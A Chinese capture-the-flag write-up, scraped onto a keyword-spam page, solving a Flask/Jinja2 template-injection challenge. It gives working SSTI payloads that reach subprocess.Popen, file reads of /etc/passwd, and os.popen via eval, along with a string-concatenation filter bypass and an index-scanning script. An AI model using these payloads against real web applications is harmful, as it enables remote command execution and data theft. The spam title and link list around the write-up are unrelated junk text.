当前位置: 首页 > news >正文

百度站长查询工具自己怎么创建微信小程序

百度站长查询工具,自己怎么创建微信小程序,外链论坛,网站优化公司服务目录 subprocess.Popen FILE warnings.catch_warnings site._Printer 这题很明显就是 SSTI了 源代码 我们试试看 {{7*7}} 然后我们就开始吧 原本我的想法是直接{{url_for.__globals__}} 但是回显是直接500 猜测过滤 我们正常来吧 {{"".__class__}} 查看当前…

目录

subprocess.Popen

FILE

warnings.catch_warnings

site._Printer



这题很明显就是 SSTI了

源代码

我们试试看

{{7*7}}

然后我们就开始吧

原本我的想法是直接{{url_for.__globals__}}

但是回显是直接500 猜测过滤 我们正常来吧

{{"".__class__}}  查看当前情况{{"".__class__.__base__}} 查看基类 这里发现没有利用的 我们修改代码{{"".__class__.__mro__}}  查看全部类  发现存在<type 'object'>了{{"".__class__.__mro__[2].__subclasses__()}}  查看object的子类

这里我们需要 os 来调用

但是这里存在一个类 可以不需要os

subprocess.Popen

Python3 subprocess | 菜鸟教程

需要参数

("命令",shell=True,stdout=-1)这里 stdout  就是指定输出 PIPE

然后我们可以使用 其方法来进行交互

("命令",shell=True,stdout=-1).communicate()

这样我们就可以实现rce

首先通过 脚本跑出来其的位数

import timeimport  requestsbase_url="http://1a3ad76d-35d3-4a35-97fb-8997c87bf989.node4.buuoj.cn:81/?search="for i in range(300):payload="{{\"\".__class__.__mro__[2].__subclasses__()[%s]}}"%ir = requests.get(url=base_url + payload)if "subprocess.Popen" in r.text:print(i)if r.status_code == 429:time.sleep(0.5)

跑出来是258

我们开始构造

?search={{''.__class__.__mro__[2].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0].strip()}}最后的.communicate()[0].strip() 通过 communicate方法 输出 并且指定数组 去除空白符

我们看看 flasklight看看

?search={{''.__class__.__mro__[2].__subclasses__()[258]("cat /flasklight/coomme_geeeett_youur_flek",shell=True,stdout=-1).communicate()[0].strip()}}

FILE

这是另一个方法 通过file读取文件

首先我们要测试一下

先查找一下 file

发现是40

然后我们看看

{{"".__class__.__mro__[2].__subclasses__()[40]}}
/?search={{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}

读取成功

然后我们去读一下命令行吧

发现读出了路径

我们看看这个py

但是还是没有办法直接读取出来 因为不知道flag的文件名字

warnings.catch_warnings

我们首先找一下这个类的位数

59

{{"".__class__.__mro__[2].__subclasses__()[59].__init__}}

这里就卡住了 因为我们还是需要 globals的参与

我们如何绕过过滤呢

{{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']}}

这样就可以

我们在上面也知道 是通过匹配过滤的

做到这个我们其实就可以正常rce了 但是还是完善一下这个类的用法吧

这里我们能发现 这个类没有加载 os 需要我们手动加载

我们需要在其

['__builtins__']['eval']

 下导入

payload

?search={{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

这样就借助 os 实现了 rce

site._Printer

我们知道了 globals可以拼接绕过

这个方法也可以实现我们看看里面是否内置了 os

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']}}

发现存在 我们直接rce即可

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

最后读取即可

http://www.yayakq.cn/news/831450/

相关文章:

  • wordpress网站添加密码访问游戏网页设计模板图片
  • 英文模板网站网站开发与运行环境
  • 固安县建设局网站怎么建设食品网站
  • 哪个网站做自媒体比较好网站怎么做弹窗
  • 男鞋 东莞网站建设域名最新通知
  • asp.net是做网站的吗企业培训考试平台官网
  • 专业服务建设网站什么是网站建设与优化
  • 门户网站英文开网店
  • 重庆市建设银行网站首页网页设计理念及设计思路
  • 高清免费爱做网站怎么给企业做推广
  • 网站建设课结课感受无锡专业做网站公司
  • 大连做公司网站哪家好wordpress手机app
  • 新的网站建设一般多少钱西安危机公关公司
  • 违法网站开发sem扫描电子显微镜
  • wap网站开发实例陕西网站建设宣传方案
  • 网站建设捌金手指专业9上海关键词优化公司哪家好
  • 重庆哪里可以学习网站建设和维护单页网站模板
  • 网站登录账号密码保存商丘家居网站建设
  • 网站建设申请表中国菲律宾仁爱礁
  • 网站设计的主要步骤佛山建站模板制作
  • 衡水网站设计大连市建设工程有限公司
  • 用ps怎么做短视频网站广东建设注册执业中心网站
  • 搜狐做网站佛山营销型网站建设公司
  • 建设网站策划书ui设计是什么系
  • 网站建设如何制作教程网站建设没付尾款
  • 海拉尔做自己的网站抖音开放平台游戏
  • 微信公众平台网站建设新闻报道怎样开通微信公众号平台
  • 网站建设流程有哪七步山东专业的网站建设
  • 推荐郑州网站建设公司职业培训机构排名前十
  • 黑白网站模板wordpress微信付款插件